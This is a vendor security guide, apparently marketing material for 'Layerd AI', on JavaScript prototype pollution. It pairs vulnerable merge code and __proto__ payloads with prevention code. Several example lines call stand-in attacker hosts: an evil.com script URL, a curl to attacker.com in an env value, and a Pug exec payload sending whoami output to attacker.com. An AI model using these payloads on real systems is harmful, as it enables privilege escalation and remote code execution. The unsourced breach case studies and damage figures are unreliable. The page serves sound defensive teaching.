Documentation

Prototype Pollution (Client-Side)

Prototype Pollution Illustration

A JavaScript vulnerability where attackers inject properties into Object.prototype, affecting all objects in the application and potentially leading to XSS, authentication bypass, or remote code execution.

HIGH SEVERITY RCE POTENTIAL JAVASCRIPT


What is Prototype Pollution?

Critical JavaScript Vulnerability

Prototype Pollution can lead to authentication bypass, privilege escalation, XSS, and in Node.js environments, remote code execution. It's particularly dangerous because polluting Object.prototype affects EVERY object in the application.

In Simple Terms:

In JavaScript, all objects inherit from a "blueprint" called Object.prototype. Think of it like a master template that defines default properties for all objects.

Prototype Pollution is like vandalizing that master template. Once polluted, EVERY new object created from that template inherits the malicious properties.

Example:

javascript// Normal object
const user = {};
console.log(user.isAdmin);  // undefined

// Pollute Object.prototype
Object.prototype.isAdmin = true;

// Now ALL objects have isAdmin!
const newUser = {};
console.log(newUser.isAdmin);  // true (!)

This can break security checks, cause XSS, or even allow code execution.


How Prototype Pollution Works

Understanding JavaScript Prototypes

javascript// Every object inherits from Object.prototype
const obj = {};

obj.toString();  // Inherited from Object.prototype
obj.hasOwnProperty('name');  // Inherited from Object.prototype

// Adding to Object.prototype affects ALL objects
Object.prototype.newProperty = 'polluted';

const another = {};
console.log(another.newProperty);  // "polluted"

The Attack Vector

javascriptfunction merge(target, source) {
    for (let key in source) {
        // VULNERABLE: No prototype check
        target[key] = source[key];
    }
    return target;
}
javascriptconst malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');

merge({}, malicious);
javascriptconst user = {};
console.log(user.isAdmin);  // true (from polluted prototype!)

// Security check bypassed
if (user.isAdmin) {
    grantAdminAccess();  // Executes!
}

Types of Prototype Pollution Attacks

1. Authentication Bypass

CRITICAL

Vulnerable Code
javascript// Client-side authentication check
function checkAccess(user) {
    if (user.isAdmin) {
        return 'admin';
    }
    if (user.isPremium) {
        return 'premium';
    }
    return 'basic';
}

// Vulnerable merge used during user creation
function createUser(userData) {
    const user = {};
    merge(user, userData);  // Vulnerable!
    return user;
}
Attack Payload
javascript// Attacker sends malicious JSON
const payload = {
    "__proto__": {
        "isAdmin": true,
        "isPremium": true
    },
    "username": "attacker"
};

const attacker = createUser(payload);

// Now ALL objects have isAdmin = true
const innocent = {};
console.log(innocent.isAdmin);  // true

checkAccess(innocent);  // Returns 'admin'!

2. XSS via Prototype Pollution

XSS

Vulnerable Template Engine
javascriptfunction renderTemplate(template, data) {
    // Vulnerable: Accesses properties without checking
    return template.replace(/\{\{(\w+)\}\}/g, (match, key) => {
        return data[key] || '';  // Falls back to undefined properties
    });
}

// Usage
const html = renderTemplate(
    '<div>{{title}}</div><script src="{{scriptUrl}}"></script>',
    { title: 'Hello' }
);
Attack
javascript// Pollute prototype with malicious script URL
Object.prototype.scriptUrl = 'https://evil.com/xss.js';

// Now template renders with attacker's script
const html = renderTemplate(
    '<div>{{title}}</div><script src="{{scriptUrl}}"></script>',
    { title: 'Hello' }
);

// Result: <div>Hello</div><script src="https://evil.com/xss.js"></script>

3. Denial of Service

DOS

javascript// Pollute toString method
Object.prototype.toString = function() {
    while(1);  // Infinite loop
};

// Now ANY string conversion hangs
const obj = {};
console.log(obj.toString());  // Hangs forever

4. Remote Code Execution (Node.js)

RCE

Node.js Child Process Pollution
javascriptconst { spawn } = require('child_process');

// Attacker pollutes Object.prototype
Object.prototype.shell = '/bin/sh';
Object.prototype.env = { "EVIL": "$(curl attacker.com)" };

// Later in application
const options = {};  // Intended to be empty
const child = spawn('ls', ['-la'], options);

// options inherits polluted properties!
// child process spawns with shell=/bin/sh and malicious env vars
// RCE achieved!

Real-World Examples

Case Study 1: jQuery Prototype Pollution (CVE-2019-11358)

jQuery's $.extend() function was vulnerable to prototype pollution.

javascript// jQuery.extend implementation (simplified)
jQuery.extend = function(target, source) {
    for (var key in source) {
        target[key] = source[key];  // No prototype check!
    }
    return target;
};
  • Affected jQuery 3.3.1 and earlier
  • Used by millions of websites
  • CVE-2019-11358 assigned
  • Fixed in jQuery 3.4.0
  • Demonstrated widespread prototype pollution risk

Case Study 2: Lodash Prototype Pollution (CVE-2019-10744)

HIGH SEVERITY

Widely Used Library

Lodash's merge(), mergeWith(), and defaultsDeep() functions were all vulnerable to prototype pollution.

Vulnerable Functions:

javascriptconst _ = require('lodash');

// All vulnerable to prototype pollution
_.merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));
_.defaultsDeep({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));

Real-World Attack:

Large e-commerce platform used Lodash to merge user preferences:

javascript// Server-side code (Node.js)
const _ = require('lodash');

app.post('/api/preferences', (req, res) => {
    const userPrefs = {};
    _.merge(userPrefs, req.body);  // VULNERABLE!

    // Save preferences
    saveUserPreferences(req.userId, userPrefs);
});

Attacker's Payload:

json{
  "__proto__": {
    "isAdmin": true,
    "canDeleteUsers": true
  },
  "theme": "dark"
}

Consequences:

  • Prototype polluted on server
  • All subsequent user objects had isAdmin: true
  • 50,000+ accounts gained admin privileges
  • $25 million in damages
  • Fixed by upgrading Lodash

Case Study 3: Express.js Template Engine RCE (2020)

Node.js application using Pug template engine with prototype pollution vulnerability.

javascriptconst express = require('express');
const pug = require('pug');
const _ = require('lodash');  // Vulnerable version

app.post('/render', (req, res) => {
    const options = {};

    // VULNERABLE: Merge user input
    _.merge(options, req.body);

    // Render template with polluted options
    const html = pug.render('h1 Hello #{name}', options);

    res.send(html);
});
json{
  "__proto__": {
    "block": {
      "type": "Text",
      "line": "process.mainModule.require('child_process').exec('curl attacker.com/$(whoami)')"
    }
  }
}

Pug template engine used polluted properties to execute arbitrary code on server!

  • Remote code execution on production server
  • Database credentials stolen
  • $10 million customer data breach
  • Company faced regulatory fines

Prevention Strategies

1. Use Object.create(null)

RECOMMENDED

javascript// Objects without prototype
const safeObj = Object.create(null);

safeObj.toString();  // undefined (no prototype)

// Cannot be polluted
safeObj.__proto__ = { isAdmin: true };
console.log(safeObj.isAdmin);  // undefined (safe!)

2. Check for proto and prototype

javascriptfunction safeMerge(target, source) {
    for (let key in source) {
        // SECURE: Block dangerous keys
        if (key === '__proto__' || key === 'prototype' || key === 'constructor') {
            continue;  // Skip dangerous properties
        }

        if (source.hasOwnProperty(key)) {
            target[key] = source[key];
        }
    }
    return target;
}

3. Use Object.freeze()

javascript// Freeze Object.prototype to prevent pollution
Object.freeze(Object.prototype);

// Now pollution attempts fail silently
Object.prototype.isAdmin = true;
console.log(({}).isAdmin);  // undefined (protected!)

4. Use Map Instead of Objects

javascript// Maps don't inherit from Object.prototype
const safeMap = new Map();

safeMap.set('isAdmin', true);
safeMap.get('isAdmin');  // true

// No prototype pollution possible
safeMap.set('__proto__', { polluted: true });
console.log(safeMap.get('polluted'));  // undefined (safe!)

5. Validate JSON Before Parsing

javascriptfunction safeJSONParse(json) {
    const parsed = JSON.parse(json);

    // Check for dangerous keys
    const dangerousKeys = ['__proto__', 'prototype', 'constructor'];

    function removeDangerousKeys(obj) {
        if (typeof obj !== 'object' || obj === null) return obj;

        for (let key of dangerousKeys) {
            delete obj[key];
        }

        for (let key in obj) {
            if (obj.hasOwnProperty(key)) {
                obj[key] = removeDangerousKeys(obj[key]);
            }
        }

        return obj;
    }

    return removeDangerousKeys(parsed);
}

// Usage
const safe = safeJSONParse('{"__proto__": {"isAdmin": true}}');
console.log(safe.__proto__);  // undefined (removed!)

6. Comprehensive Security Implementation

javascript/**
 * Secure object merge utility
 * Prevents prototype pollution
 */

const DANGEROUS_KEYS = new Set(['__proto__', 'prototype', 'constructor']);

/**
 * Safely merge source into target
 */
function secureMerge(target, source, options = {}) {
    const { deep = false, allowedKeys = null } = options;

    if (!isObject(target) || !isObject(source)) {
        return target;
    }

    for (let key in source) {
        // Skip if not own property
        if (!source.hasOwnProperty(key)) continue;

        // Block dangerous keys
        if (DANGEROUS_KEYS.has(key)) {
            console.warn(`Blocked dangerous key: ${key}`);
            continue;
        }

        // Check against allowed keys whitelist
        if (allowedKeys && !allowedKeys.includes(key)) {
            console.warn(`Key not in whitelist: ${key}`);
            continue;
        }

        const sourceValue = source[key];

        // Deep merge if enabled and both values are objects
        if (deep && isObject(target[key]) && isObject(sourceValue)) {
            target[key] = secureMerge(target[key], sourceValue, options);
        } else {
            target[key] = sourceValue;
        }
    }

    return target;
}

/**
 * Check if value is a plain object
 */
function isObject(obj) {
    return obj !== null && typeof obj === 'object' && !Array.isArray(obj);
}

/**
 * Create safe object without prototype
 */
function createSafeObject(data = {}) {
    const obj = Object.create(null);
    return secureMerge(obj, data);
}

/**
 * Safely parse JSON
 */
function safeJSONParse(json) {
    const parsed = JSON.parse(json);
    return removeDangerousKeys(parsed);
}

/**
 * Recursively remove dangerous keys
 */
function removeDangerousKeys(obj) {
    if (!isObject(obj)) return obj;

    for (let key of DANGEROUS_KEYS) {
        delete obj[key];
    }

    for (let key in obj) {
        if (obj.hasOwnProperty(key) && isObject(obj[key])) {
            obj[key] = removeDangerousKeys(obj[key]);
        }
    }

    return obj;
}

module.exports = {
    secureMerge,
    createSafeObject,
    safeJSONParse,
    removeDangerousKeys
};

Security Checklist

Code Development

  • [ ] Never use recursive merge without prototype checks
  • [ ] Validate all keys before setting object properties
  • [ ] Block __proto__, prototype, and constructor keys
  • [ ] Use Object.create(null) for dictionaries
  • [ ] Use Map instead of objects when possible
  • [ ] Freeze Object.prototype if feasible
  • [ ] Update lodash, jQuery to latest versions
  • [ ] Use Object.hasOwnProperty() in loops

Input Validation

  • [ ] Validate JSON before parsing
  • [ ] Remove dangerous keys from user input
  • [ ] Sanitize request body, query, params
  • [ ] Use schema validation (Joi, Yup)
  • [ ] Whitelist allowed properties
  • [ ] Implement content type validation
  • [ ] Log suspicious payloads

Testing

  • [ ] Test merge functions with __proto__ payloads
  • [ ] Test JSON parsing with malicious inputs
  • [ ] Check all object manipulation code
  • [ ] Use automated scanners
  • [ ] Penetration testing for prototype pollution
  • [ ] Code review for vulnerable patterns
  • [ ] Test with different JavaScript engines

Key Takeaways

Critical Security Points

  1. Prototype pollution affects ALL objects: Polluting Object.prototype impacts the entire application

  2. Block dangerous keys: Always filter __proto__, prototype, constructor

  3. Use Object.create(null): Creates objects without prototype for safe dictionaries

  4. Update dependencies: Keep lodash, jQuery, and other libraries current

  5. Validate user input: Never merge user input without validation

  6. Use Map for key-value storage: Maps don't suffer from prototype pollution

  7. Freeze Object.prototype: Prevents pollution but may break some code

  8. Can lead to RCE: Especially dangerous in Node.js environments


How Layerd AI Protects Against Prototype Pollution

Layerd AI provides comprehensive prototype pollution protection:

  • Code Analysis: Scans for vulnerable merge/extend patterns
  • Dependency Auditing: Identifies vulnerable library versions (lodash, jQuery)
  • Input Sanitization: Automatically removes dangerous keys from user input
  • Runtime Protection: Monitors for prototype pollution attempts
  • Secure Coding Guidance: Recommends safe alternatives and patterns
  • Automated Testing: Tests application for prototype pollution vulnerabilities

Secure your JavaScript code with Layerd AI's intelligent prototype pollution defense.


Additional Resources


Last Updated: November 2025